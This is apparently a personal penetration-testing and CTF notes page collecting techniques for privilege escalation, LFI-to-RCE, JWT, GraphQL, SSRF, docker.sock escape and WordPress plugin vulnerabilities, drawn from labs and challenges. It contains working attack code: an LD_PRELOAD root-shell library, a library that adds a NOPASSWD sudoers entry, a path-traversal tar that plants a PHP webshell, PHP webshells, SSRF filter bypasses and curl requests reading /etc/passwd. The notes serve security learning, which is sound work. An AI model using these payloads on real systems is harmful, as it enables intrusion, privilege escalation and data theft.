root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

NOTES


Important stuffs



Enumerating REDIS

image

image

image

image


REFERENCES:


Webhooks:


Portforwarding with SSH and proxychains


Removing \r in exploitdb scripts

sed -i -e 's/\r$//' <script's name>

Port Forwarding with chisel


To replace the root hash by generating a new one

Installing adb-tools on Kali Linux[Ubuntu/Debian]

sudo apt-get install android-sdk-platform-tools

ADB-Tools

STATIC ANALYSIS


POP3 login


Content-Security-Policy

-Essence of the header include

Directives used by the Content-Security-Policy header

Policy: Content-Security-Policy: script-src 'self' https://safe-external-site.com; style-src 'self'

Sources allowed

'none' : Match nothing.
'self': Match the current host domain (same origin, i.e. host and port). Do not match subdomains, though.
'unsafe-inline': Allow inline JavaScript and CSS.
'unsafe-eval': Allow dynamic text to JavaScript evaluations.
domain.example.com: Allow loading resource from the specified domain. To match any subdomain, use the * wildcard, e.g. *.example.com
https: or ws:: Allow loading resources only over HTTPS or WebSocket.
nonce-{token}: Allow an inline script or CSS containing the same nonce attribute value.

Explaining Nonce

How does it work


References:



ABUSING NPM INSTALL node package-lock.json to get shell access


TERMUX: Adding tmux to your ~/.zlogin to prevent errors

  if [-z "$TMUX"]; then
  exec tmux
  fi - Explanation: $TMUX vsriable prevents nested tmux instances are started on login shells. `exec` will replace current process with a new one i.e. current shell will be terminated and tmux instance with shell inside will be started, so you won't need to exit twice.

Adding tmux to your custom zsh shell


0XTIberius’s sql payload


Using /usr/bin/script to spawn shell

  /usr/bin/script -qc /bin/bash /dev/null
  ctrl + z
  stty raw -echo; fg; reset

Spawning shell with socat


Privesc with PATH HIJACKING

REFERENCES:


Exploiting right to modify ssh motd(message of the day) in /etc/update-motd.d

REFERENCES


Interesting way to access root


Abusing docker.sock unix socket

image


References:


Privesc with doas

image


Exploiting GIT to gain sensitive information

REFERENCES


PRIVESC with /usr/bin/wget

image

REFERENCES


LFI2RCE with apache2 server’s log


### REFERNCES:


Abusing suid flask

image

image


Executing Shell Commands with Haskell code


REFERENCES:


LFI2RCE with php://filter/

image

image

image

image


REFERENCES:


Abusing group lxd

image

image

image

image

image


REFERENCES


Attacking JWTs [JSON Web Token]

JWT formats

JWT vs JWS vs JWE

Vulnerabilities

FLAWED SIGNATURES VERIFICATION

Accepting JWTS with no signature

Decoded header   payload-:{"kid":"b854b842-0339-44da-b38f-984684b91506","alg":"none}||{"iss":"portswigger","exp":1725569977,"sub":"administrator"}

JWT SECRET KEY BRUTE FORCE

JWT PARAMETER Headers Injection

According to the JWS specification, only the alg header parameter is mandatory. In practice, however, JWT headers (also known as JOSE headers) often contain several other parameters. The following ones are of particular interest to attackers.

jwk (JSON Web Key) - Provides an embedded JSON object representing the key.

jku (JSON Web Key Set URL) - Provides a URL from which servers can fetch a set of keys containing the correct key.

kid (Key ID) - Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from. Depending on the format of the key, this may have a matching kid parameter.

Injecting self-signed JWTs via the jwk parameter

Exploiting with JWT_EDITOR

image

image

image

image

image

image

image

Injecting self signed JWTs via the url endpoint


Compiling exploit error: no cc1 in directory

image

image


Exploiting Shellshock

image


REFERENCES:


READING FILES WITH ECHO


PENTESTING TEAM CITY

image

Exploit with this steps

image

image

image

image

image

image


REFERENCES:


Pentesting Rsync

image

image

image

image


Bypassing restricted port number on firefox

image

image

image


REFERENCES:


Server Side Request Forgery Little Cheatsheet [Portswigger]

SSRF attacks against the server

image

SSRF against other back end systems

image


Circumventing Common SSRF defenses

image


Exploiting Whitelist based-filters


https://expected-host:fakepassword@evil-host

https://evil-host#expected-host

https://expected-host.evil-host

Abusing SSRF with open-redirect

image


Dumping .git sensitive info

image

image


Exploiting clone_from() Gitpython function

image

image


Reference:


Node’s ejs Prototype Pollution CVE

The poc below bypasses the fix for CVE-2022-29078 in ^3.1.7

Testing on version ^3.1.9 in PatriotCtf with the above POC

image


REFERENCES:


Php escapes for escapeshellcmd() and escapeshellargs()


Using Flask_unsign as a module in python’s code


Importing it

import flask_unsign

image

Signing cookies

image

Decoding Cookies

image

Verifying Cookies

image

Cracking cookies

from flask_unsign.cracker import *

image

image

image

image


Exploiting ast.parse() in python with keyword mode set to eval or not

image


REFERENCES-:


Exploiting SSRF with redirect

#! /usr/bin/env python3
from flask import Flask, redirect,request
from urllib.parse import quote
app = Flask(__name__)    

@app.route('/',methods=['GET'])    
def root():
    port = request.args.get("port")
    file = request.args.get("file")
    if file != None:
        url =  f"http://127.0.0.1:{port}/{file}"
    else:
        url = f"http://127.0.0.1:{port}/"
    return redirect(url, code=301)
    
if __name__ == "__main__":
    app.run(host="10.9.1.30", port=8080)

image


ABUSING LD_PRELOAD

image

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#define _GNU_SOURCE
void _init() 
{
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
id
whoami

image


Xfreerdp error:

image

image


CRIME PROBLEM with zlib compression-:

import os
import json
import zlib

def lambda_handler(event, context):
    try:
        payload=bytes.fromhex(event["queryStringParameters"]["payload"])
        flag = os.environ["flag"].encode()
        message = b"Your payload is: %b\nThe flag is: %b" % (payload, flag)
        compressed_length = len(zlib.compress(message,9))
    except ValueError as e:
        return {'statusCode': 500, "error": str(e)}

    return {
        'statusCode': 200,
        'body': json.dumps({"sniffed": compressed_length})
    }

#!/usr/bin/env python3
import requests
import json

base_url = 'https://55nlig2es7hyrhvzcxzboyp4xe0nzjrc.lambda-url.us-east-1.on.aws/?payload='

flag = 'udctf{'
while True:
    for code in range(33, 127):
        print('[+] Try flag:', flag + chr(code))
        url = base_url + (flag + chr(code)).encode().hex()
        r = requests.get(url)
        res = json.loads(r.text)
        size = res['sniffed']
        if size == 67:
            flag += chr(code)
            break
    if flag[-1] == '}':
        break

print('[*] flag:', flag)

References-:


Writing hash in /etc/passwd format


-----------------

### Using scp

- Window files-:
  ` scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db . `

-----------------

### Creating malicious tar.gz to exploit tarfile.extractall()

------------------

- Function `tarfile.extractall()` is vulnerable to path traversal which can be used to overwrite files.
- Code-:

```python3
#! /usr/bin/env python3
import tarfile
import io

tar = tarfile.TarFile.open('malicious.tar.gz', 'w:gz')

info = tarfile.TarInfo("../../var/www/html/databases/shell.php")
info.mode=0o444 # So it cannot be overwritten
php_shell = b"<?php echo system($_GET['cmd']); ?>"
info.size=len(php_shell)
tar.addfile(info,io.BytesIO(php_shell))
tar.close()

REFERENCE-:


LFI2RCE with /var/log/mail.log

image

telnet <ip> 25
MAIL FROM:<toor@gmail.com>
RCPT TO:<?php system($_GET['c']); ?>

image

image


Fixing git –auto update alias and gau clash

image

▻ tar xvf gau-linux-amd64.tar
▻ mv gau-linux-amd64 /usr/bin/getallurls

PHP POST parameter webshell

<?php

if (isset($_POST['username'])) {
  echo system($_POST['username']);
}else {
    echo "No username provided";
}
?>

image


C2 Frameworks [Command and Control]

### Structure-:

Payload types-:

PAYLOAD FORMATS-:

MODULES-:

image

Domain Fronting

image

C2 Profiles-:

image

C2 framework

Setting up Armitage-:

git clone https://gitlab.com/kalilinux/packages/armitage.git && cd armitage
bash package.sh

image

image

Preparing the Environment

image

sudo msfdb delete
sudo msfdb init

image

sudo ./temaserver [ip] [password]

image

❯ msfconsole
Metasploit tip: After running db_nmap, be sure to check out the result 
of hosts and services
double free or corruption (out)mework console...-
sudo apt remove metasploit-framework
rm -rf ~/.msf4
sudo apt autoremove
sudo apt update
sudo apt install metasploit-framework
msfconsole

-


TCPDUMP Basics-:

Basic tcpdump packet capture-:

image

image

image

image

ADVANCED FILTERING

image

image

Logical operators

ADVANCED FILTERING

To better understand this, consider the following two examples from the pcap-filter manual page (and don’t worry if you find them difficult):

ether[0] & 1 != 0 takes the first byte in the Ethernet header and the decimal number 1 (i.e., 0000 0001 in binary) and applies the & (the And binary operation). It will return true if the result is not equal to the number 0 (i.e., 0000 0000). The purpose of this filter is to show packets sent to a multicast address. A multicast Ethernet address is a particular address that identifies a group of devices intended to receive the same data.
ip[0] & 0xf != 5 takes the first byte in the IP header and compares it with the hexadecimal number F (i.e., 0000 1111 in binary). It will return true if the result is not equal to the (decimal) number 5 (i.e., 0000 0101 in binary). The purpose of this filter is to catch all IP packets with options.

Displaying Packets

    -q: Quick output; print brief packet information
    -e: Print the link-level header
    -A: Show packet data in ASCII
    -xx: Show packet data in hexadecimal format, referred to as hex
    -X: Show packet headers and data in hex and ASCII

ORACLE PADDING ATTACK with padbuster

For this example, we will also use the command switch to specify how the encrypted sample is encoded. By default PadBuster assumes that the sample is Base64 encoded, however in this example the encrypted text is encoded as an uppercase ASCII HEX string. The option for specifying encoding (-encoding) takes one of the following three possible values:

0: Base64 (default)
1: Lowercase HEX ASCII
2: Uppercase HEX ASCII

image

image

padre -u "http://10.10.88.80:8080/api/debug/$" -err "Decryption error" -e lhex "39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4"

image


REFERENCE-:


Exploting writable docker.sock to breakout of container


image

image

image

or Exploiting with curl and nc

image

curl -i -s --unix-socket /run/docker.sock -X POST http://localhost/containers/create \
-H "Content-Type: application/json" -d '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "openjdk:11","Volumes": {"/hostfs/": {}},"HostConfig": {"Binds": ["/:/hostfs"]}}'

image

curl -i -s --unix-socket /run/docker.sock -X POST http://localhost/containers/<id>/start

image

curl -i -s --unix-socket /run/docker.sock -X POST http://localhost/containers/09832b2e10c61ffd863fe4c8a50e07d820cd9150af7e3bfd6be7b7400c9f7c94/attach\?stream\=1\&stdin\=1\&stdout\=1\&stderr\=1

REFERENCE-:


RACE CONDITION CODE SNIPPETS [Turbo Intruder]


def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2
                           )
    for word in open("C:\Users\HP\Documents\wordlist.txt"):
        engine.queue(target.req, word.rstrip(), gate='race1')
    engine.openGate('race1')


def handleResponse(req, interesting):
    table.add(req)


Understanding Graphql



Graphql SCHEMA


type Product {
        id: ID!
        name: String!
        description: String!
        price: Int
    }
#Example query

    query myGetProductQuery {
        getProduct(id: 123) {
            name
            description
        }
    }
#Example mutation request

    mutation {
        createProduct(name: "Flamin' Cocktail Glasses", listed: "yes") {
            id
            name
            listed
        }
    }
#Example mutation response

    {
        "data": {
            "createProduct": {
                "id": 123,
                "name": "Flamin' Cocktail Glasses",
                "listed": "yes"
            }
        }
    }

Components of fields and mutations


 #Request

    query myGetEmployeeQuery {
        getEmployees {
            id
            name {
                firstname
                lastname
            }
        }
    }
#Response

    {
        "data": {
            "getEmployees": [
                {
                    "id": 1,
                    "name" {
                        "firstname": "Carlos",
                        "lastname": "Montoya"
                    }
                },
                {
                    "id": 2,
                    "name" {
                        "firstname": "Peter",
                        "lastname": "Wiener"
                    }
                }
            ]
        }
    }

Arguments



    #Example query with arguments

    query myGetEmployeeQuery {
        getEmployees(id:1) {
            name {
                firstname
                lastname
            }
        }
    }

    {
        "data": {
            "getEmployees": [
            {
                "name" {
                    "firstname": Carlos,
                    "lastname": Montoya
                    }
                }
            ]
        }
    }

Graphql queries with variable


   #Example query with variable

    query getEmployeeWithVariable($id: ID!) {
        getEmployees(id:$id) {
            name {
                firstname
                lastname
            }
         }
    }

    Variables:
    {
        "id": 1
    }

Aliases


 #Invalid query

    query getProductDetails {
        getProduct(id: 1) {
            id
            name
        }
        getProduct(id: 2) {
            id
            name
        }
    }

    #Valid query using aliases

    query getProductDetails {
        product1: getProduct(id: "1") {
            id
            name
        }
        product2: getProduct(id: "2") {
            id
            name
        }
    }
 #Response to query

    {
        "data": {
            "product1": {
                "id": 1,
                "name": "Juice Extractor"
             },
            "product2": {
                "id": 2,
                "name": "Fruit Overlays"
            }
        }
    }

Fragments


 #Example fragment

    fragment productInfo on Product {
        id
        name
        listed
    }
#Query calling the fragment

    query {
        getProduct(id: 1) {
            ...productInfo
            stock
        }
    }

    #Response including fragment fields

    {
        "data": {
            "getProduct": {
                "id": 1,
                "name": "Juice Extractor",
                "listed": "no",
                "stock": 5
            }
        }
    }

GRAPHQL vulnerabilities


/graphql
/api
/api/graphql
/graphql/api
/graphql/graphql

Exploiting unsanitized arguments


#Example product query

    query {
        products {
            id
            name
            listed
        }
    }

    #Example product response

    {
        "data": {
            "products": [
                {
                    "id": 1,
                    "name": "Product 1",
                    "listed": true
                },
                {
                    "id": 2,
                    "name": "Product 2",
                    "listed": true
                },
                {
                    "id": 4,
                    "name": "Product 4",
                    "listed": true
                }
            ]
        }
#Query to get missing product

    query {
        product(id: 3) {
            id
            name
            listed
        }
    }

More information can be gathered with introspection



    {
        "query": "{__schema{queryType{name}}}"
    }
#Full introspection query

    query IntrospectionQuery {
        __schema {
            queryType {
                name
            }
            mutationType {
                name
            }
            subscriptionType {
                name
            }
            types {
             ...FullType
            }
            directives {
                name
                description
                args {
                    ...InputValue
            }
            onOperation  #Often needs to be deleted to run query
            onFragment   #Often needs to be deleted to run query
            onField      #Often needs to be deleted to run query
            }
        }
    }

    fragment FullType on __Type {
        kind
        name
        description
        fields(includeDeprecated: true) {
            name
            description
            args {
                ...InputValue
            }
            type {
                ...TypeRef
            }
            isDeprecated
            deprecationReason
        }
        inputFields {
            ...InputValue
        }
        interfaces {
            ...TypeRef
        }
        enumValues(includeDeprecated: true) {
            name
            description
            isDeprecated
            deprecationReason
        }
        possibleTypes {
            ...TypeRef
        }
    }

    fragment InputValue on __InputValue {
        name
        description
        type {
            ...TypeRef
        }
        defaultValue
    }

    fragment TypeRef on __Type {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
                ofType {
                    kind
                    name
                }
            }
        }
    }

Accidental Exposure of private Graphql fields

       {
          "kind": "OBJECT",
          "name": "query",
          "description": null,
          "fields": [
            {
              "name": "getBlogPost",
              "description": null,
              "args": [
                {
                  "name": "id",
                  "description": null,
                  "type": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "SCALAR",
                      "name": "Int",
                      "ofType": null
                    }
                  },
                  "defaultValue": null
                }
           {
              "name": "getUser",
              "description": null,
              "args": [
                {
                  "name": "id",
                  "description": null,
                  "type": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "SCALAR",
                      "name": "Int",
                      "ofType": null
                    }
                  }
       {
          "kind": "OBJECT",
          "name": "User",
          "description": null,
          "fields": [
            {
              "name": "id",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Int",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "username",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "password",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }

image


Inline query for introspection


{__schema%0A{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name+description+locations+args{...InputValue}}}}fragment+FullType+on+__Type{kind+name+description+fields(includeDeprecated:true){name+description+args{...InputValue}type{...TypeRef}isDeprecated+deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name+description+isDeprecated+deprecationReason}possibleTypes{...TypeRef}}fragment+InputValue+on+__InputValue{name+description+type{...TypeRef}defaultValue}fragment+TypeRef+on+__Type{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name}}}}}}}}
mutation {
    deleteOrganizationUser(input: {
        id: 3
    }) {
        user {
            id
            username
    }}
}
       {
          "kind": "OBJECT",
          "name": "mutation",
          "description": null,
          "fields": [
            {
              "name": "deleteOrganizationUser",
              "description": null,
              "args": [
                {
                  "name": "input",
                  "description": null,
                  "type": {
                    "kind": "INPUT_OBJECT",
                    "name": "DeleteOrganizationUserInput",
                    "ofType": null
                  },
                  "defaultValue": null
                }
              ],
              "type": {
                "kind": "OBJECT",
                "name": "DeleteOrganizationUserResponse",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },

image


Bypassing introspection query __schema with %0A


image


Bruteforcing with Graphql aliases to bypass bruteforce


#! /usr/bin/env python3
#Generating graphql mutation's aliases script for Portswigger

passwords: list = open("passwords.txt","r").read().splitlines()
queries = open("queries.txt","w")
for num in range(0,100):
    query: str = "    loginme: login(input: {\n        username: \"carlos\",\n        password: \"filter\"}) {\n        token,\n        success\n    }\n".replace("filter",passwords[num])
    query = query.replace("loginme","login"+str(num))
    queries.write(query)
    print(query)

queries.close()

image

image


[NAHAMSEC]]0XLUPIN’s Graphql walkthrough


Tools

Installation-:pip install gqlspection

Installation-:pip install clairvoyance

Syntax-:clairvoyance <Graphql-endpoint> -o schema.json


API Testing


/api
/swagger/index.html
/openapi.json
/api/swagger/v1
/api/swagger
/api

Lab-:


image

image


Using machine readable documentation


image


Finding Mass Assignment vulnerabilities


image


Server Side Parameter Pollution



Testing for Server Side Parameter Pollution


GET /userSearch?name=peter%23foo&back=/home

GET /userSearch?name=peter%26email=foo&back=/home


Writing files with binary cat


image


Resources on Unicode Normalization Attacks


References-:



BASH GLOB INJECTION


image

image

image


REFERENCES-:



Exploitable Java Functions



Exploiting SQLALCHEMY


filter   - uses _literal_as_text (NOT SAFE)
having   - uses _literal_as_text (NOT SAFE)

distinct - uses _literal_as_label_reference (NOT SAFE)
group_by - uses _literal_as_label_reference (NOT SAFE)
order_by - uses _literal_as_label_reference (NOT SAFE)

join     - uses model attributes to resolve relation (SAFE)

Dumping Gitea Hashes from gitea.db


image

hashcat gitea.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user
hashcat --show gitea.hashes --user

Image magick 7.1.1-35 exploit


image

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
  system("echo 'developer ALL=(ALL:ALL) NOPASSWD: ALL' >> /etc/sudoers");
  exit(0);
}
EOF

REFERENCE



Source Code Review-> Wordpress


Wordpress Functions


current_user_can( 'edit_posts' );
current_user_can( 'edit_post', $post->ID );
current_user_can( 'manage_options' );

Roles-:

Super Admin
Administrator
Editor
Author
Contributor
Subscriber

$nonce = $_REQUEST['_wpnonce'];
if ( ! wp_verify_nonce( $nonce, 'my-nonce' ) || ! current_user_can("manage_options")) {
  die( __( 'Security check', 'textdomain' ) );
} else {
  // Do stuff here.
}

Nonces should never be relied on for authentication authorization, or access control. Protect your functions using the current_user_can function, always assume the nonce value can be compromised.

/**
 * Check the referrer for the AJAX call.
 */
function wpdocs_action_function() {
    if(!current_user_can("manage_options")){
        die;
    }

  check_ajax_referer( 'wpdocs-special-string', 'security' );
  echo sanitize_text_field( $_POST['wpdocs_string'] );
  die;
}
add_action( 'wp_ajax_wpdocs_action', 'wpdocs_action_function' );


Hooks



add_action( 'init', 'process_post' );

function process_post() {
    if( isset( $_POST['unique_hidden_field'] ) ) {
    // process $_POST data here, possibly need to add permission and nonce check first
    }
}
curl [url]/?unique_hidden_field=1
function myplugin_settings() {
    register_setting( 'myplugin', 'myplugin_setting_1', 'intval' );
    register_setting( 'myplugin', 'myplugin_setting_2', 'intval' );
}
add_action( 'admin_init', 'myplugin_settings' );
curl [url]/wp-admin/admin-ajax.php?action=myplugin-settings
add_action( 'wp_ajax_foobar', 'my_ajax_foobar_handler' );

function my_ajax_foobar_handler() {
    // Make your response and echo it.

    // Don't forget to stop execution afterward.
    wp_die();
}

Arbitrary File deletion


unlink()
rmdir()
wp_delete_file
wp_delete_from_directory
WP_Filesystem_Direct::delete
Wp_Filesystem_Direct::rmdir
add_action("init", "rest_init_setup");

function rest_init_setup(){
    register_rest_route( "myplugin/v1", '/deletemedia/', array(
        'methods'                   =>  "POST",
        'callback'                  =>  'delete_media_upload',
        'permission_callback' => '__return_true',
    ) );
}

function delete_media_upload($request){
    $args = json_decode($request->get_body(),true);
    $data = array('status'=>false);
    if(!empty($args['media']) ){
        wp_delete_file( $args['media']['file'] ); //Vulnerable function
        $data = array('status'=>true);
    }
    return new WP_REST_Response( $data, 200 );
}
curl -u <url>/myplugin/v1/deletemedia -H "Content-Type: application/json" -d '{"media":{"file":"/etc/passwd"}'

Arbitrary file read


file_get_contents();
readfile()
fopen()
fread()
fgets()
fgetcsv()
fgetsss() deprecated from PHP 7.3
file
cURL
Wp_Filesystem_Direct::get_contents();
Wp_Filesystem_Direct::get_contents_array();
add_action("wp_ajax_get_file", "ajax_get_file");

public function ajax_get_file(){
    global $wp_filesystem;

    // Make sure that the above variable is properly setup.
    require_once ABSPATH . 'wp-admin/includes/file.php';
    WP_Filesystem();

    $url = $_GET["url"];
    $data = $wp_filesystem->get_contents($url);
    $data = json_encode( $data );
    echo $data;
    die();
}
curl '<WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=get_file&url=/etc/passwd' -H 'Cookie: <AUTHENTICATED_USER_COOKIE>'

Authenticated Arbitrary file deletion in funnel forms 3.7.2


 private function af2DeleteFontFile($filename) {
	        $upload_dir = wp_upload_dir();
	       
	        $af2_fonts_dir = $upload_dir['basedir'] . '/af2_fonts';
	       
	        $file_path = $af2_fonts_dir . '/' . $filename;
	        if (file_exists($file_path) && is_file($file_path)) {
	            unlink($file_path);
	            return true;
	        } else {
	            return false;
	        }
	    }
          public function af2_delete_font() {
	        if ( !current_user_can( 'edit_others_posts' ) ) {
	            die( 'Permission denied' );
	        }
	        if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'af2_FE_nonce' ) ) {
	            die( 'Permission denied' );
	        }
	        $deleted = $this->af2DeleteFontFile($_POST['deletefile']);
	        if ($deleted) {
	            echo 'Datei erfolgreich gelĂśscht.';
	        } else {
	            echo 'Fehler beim LĂśschen der Datei oder Datei nicht gefunden.';
	        }
	        wp_die();
	    }
add_action( 'wp_ajax_af2_fnsf_delete_af2_font', array($this->Fnsf_Af2AjaxFormularbuilderFonts, 'af2_delete_font') );
curl '<WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=af2_delete_font -d "deletefile=../../../../etc/passwd&nonce=[nonce]" -H "Cookie:<cookie>"

Arbitrary file upload


move_uploaded_file()
file_put_contents();
fwrite();
fputs();
copy();
fputcsv();
rename();
WP_Filesystem_Direct::put_contents();
WP_Filesystem_Direct::move();
WP_Filesystem_Direct::copy();

Compressed File Extraction


Ziparchive::extractTo();
Phardata::extractTo();
unzip_file();
add_action("wp_ajax_unpack_fonts", "unpack_fonts");

function unpack_fonts(){
    $file = $_FILES["file"];
    $ext = end(explode('.',$file["name"]));

    if($ext !== "zip"){
        die();
    }

    $file_path = WP_CONTENT_DIR . "/uploads/" . $file["name"];
    move_uploaded_file($file["tmp_name"], $file_path);

    $zip = new ZipArchive;
    $f = $zip->open($file_path);

    if($f){
        $zip->extractTo(WP_CONTENT_DIR . "/uploads/"); //vulnerable code
        $zip->close();
    }
}
curl [URL]/wp-admin/admin-ajax.php?action=unpack_fonts -H "Cookie: <authenticated_cookie>" -F "file=@/home/user.zip"

Bypass techniques


mime_content_type();
exif_imagetype();
finfo_file();
add_action("wp_ajax_nopriv_upload_image_check_mime", "upload_image_check_mime");

function upload_image_check_mime(){
    $file = $_FILES["file"];
    $file_type = mime_content_type($file["tmp_name"]);
    $file_path = WP_CONTENT_DIR . "/uploads/" . $file["name"];
    $allowed_mime_type = array("image/png", "image/jpeg");

    if(in_array($file_type, $allowed_mime_type)){
        move_uploaded_file($file["tmp_name"], $file_path);
        echo "file uploaded";
    }
    else{
        echo "file mime type not accepted";
    }
}
curl [url]/wp-admin/admin-ajax.php?action=upload_image_check_mime -F "file=@pwn.php"


add_action("wp_ajax_nopriv_upload_image_getimagesize", "upload_image_getimagesize");

function upload_image_getimagesize(){
    $file = $_FILES["file"];
    $file_path = WP_CONTENT_DIR . "/uploads/" . $file["name"];
    $size = getimagesize($file["tmp_name"]);
    $fileContent = file_get_contents($_FILES['file']["tmp_name"]);

    if($size){
        file_put_contents($file_path, $fileContent);
        echo "image uploaded";
    }
    else{
        echo "invalid image size";
    }
}
curl -F 'file=@pwn.php' 'http://localhost/wp-admin/admin-ajax.php?action=upload_image_getimagesize'

Blacklist bypass with .htaccess file


function upload_image(){
    $file = $_FILES["file"];
    $file_path = WP_CONTENT_DIR . "/uploads/" . $file["name"];

    // File extension blacklist (dangerous files to disallow)
    $blacklist = array("php", "exe", "sh", "js", "bat", "pl", "py");

    // Get the file extension
    $file_ext = pathinfo($file["name"], PATHINFO_EXTENSION);

    // Check if the file extension is blacklisted
    if(in_array($file_ext, $blacklist)){
        echo "File type not allowed!";
        die();
    }

    // Process upload
}
<FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>

Broken Access Control


wp_verify_nonce
check_admin_referrer
check_ajax_referrer
add_action("init", "check_if_update");

function check_if_update(){
    if(isset($_GET["update"])){
        update_option("user_data", sanitize_text_field($_GET_["data"]));
    }
}
curl [url]/?update=1&data=admin
add_action("admin_init", "delete_admin_menu");

function delete_admin_menu(){
    if(isset($_POST["delete"])){
        delete_option("custom_admin_menu");
    }
}
curl [URL]/wp-admin/admin-ajax.php?action=hearbeat -d "delete=1"
add_action("wp_ajax_update_post_data", "update_post_data_2");

function update_post_data_2(){
    if(isset($_POST["update"])){
        $post_id = get_post($_POST["id"]);
        update_post_meta($post_id, "data", sanitize_text_field($_POST["data"]));
    }
}
add_action("wp_ajax_nopriv_toggle_menu_bar", "toggle_menu_bar");

function toggle_menu_bar(){
    if ($_POST["toggle"] === "1"){
        update_option("custom_toggle", 1);
    }
    else{
        update_option("custom_toggle", 0);
    }
}
curl [url]/wp-admin/admin-ajax.php?action=toggle_menu_bar -d "toggle=1"
add_action( 'rest_api_init', function () {
  register_rest_route( 'myplugin/v1', '/delete/author', array(
    'methods' => 'POST',
    'callback' => 'delete_author_user',
    'permission_callback' => '__return_true',
  ) );
} );

function delete_author_user($request){
    $params = $request->get_params();
    wp_delete_user(intval($params["user_id"]));
}
curl [url]/myplugin/v1/delete/author -d "user_id=0"

Local File Include


include()
include_once()
require()
require_once()
add_action("wp_ajax_nopriv_render_lesson", "render_lesson_template");

function render_lesson_template(){
    $template_path      = urldecode( $_GET['template_path'] ?? '' );

    // For custom template return all list of lessons
    include $template_path;
    die();
}
curl [url]/wp-admin/admin-ajax.php?action=render_lesson&template_path=/etc/passwd

SERVER SIDE REQUEST FORGERY


file_get_contents
readfile
fopen
stream_get_contents
cURL
wp_remote_head
wp_remote_get
wp_remote_post
wp_remote_request
add_action("wp_ajax_nopriv_fetch_image_url", "fetch_image_url");

function fetch_image_url(){
    $response = wp_remote_get($_GET["image_url"]);
    $image_data = wp_remote_retrieve_body($response);
    echo $image_data;
    die();
}
curl [url]/wp-admin/admin-ajax.php?action=fetch_image_url&image_url=http://localhost:8080

REMOTE CODE EXECUTION


system()
exec()
shell_exec()
passthru()
proc_open()
eval()
call_user_func()
call_user_func_array()
create_function() //DEPRECATED as of PHP 7.2.0, and REMOVED as of PHP 8.0.0
$action_type = $_GET["action"];
$input = $_GET["input"];
$result = $action_type($input);
echo $result;
function image_render_callback($atts) {
  $atts = shortcode_atts( array(
    'sanitize' => 'esc_attr',
    'src'=>'',
        'text'=>''
  ), $atts);

    $chosen_callback = "esc_attr";
    $sanitize_callback = array("trim", "esc_attr", "esc_html", "sanitize_text_field");
    if(!in_array($atts["sanitize"], $sanitize_callback)){
        $chosen_callback = $atts["sanitize"];
    }

    if ( ! empty( $chosen_callback ) && is_callable( $chosen_callback ) ) {
        $text = call_user_func( $chosen_callback, $atts["text"] );
    }

    return sprintf("<img src='%s'>%s</img>", esc_attr($atts["src"]), esc_html($text));

}

add_shortcode("imagerender", "image_render_callback");
[imagerender src="https://patchstack.com" sanitize="system" text="cat /etc/passwd"]

SQL Injection


$wpdb->query
$wpdb->get_var
$wpdb->get_cols
$wpdb->get_results
add_action("wp_ajax_nopriv_load_questions", "load_questions");

function load_questions(){
    global $wpdb;

    $quiz_id = $_GET["quiz_id"];

    if ( isset($_COOKIE[ 'question_ids_'.$quiz_id ]) ) {
        $question_sql = sanitize_text_field( wp_unslash( $_COOKIE[ 'question_ids_'.$quiz_id ] ) );
    }else {
        $question_ids = array("1","2","3");
        $question_sql = implode( ',', $question_ids );
    }

    $order_by_sql = 'ORDER BY FIELD(question_id,'.$question_sql.')';

    $query     = $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}custom_questions WHERE question_id IN (%1s)", $question_sql);
    $questions = $wpdb->get_results( stripslashes( $query ) );

    wp_send_json($questions);
}
curl [url]/wp-admin/admin-ajax.php?action=load_questions&quiz_id=1 -H "Cookie: question_ids_1=[point_of_injection]"

Magic Quotes


add_action('init', function() {
    $input = wp_unslash($_POST['input']);
    global $wpdb;
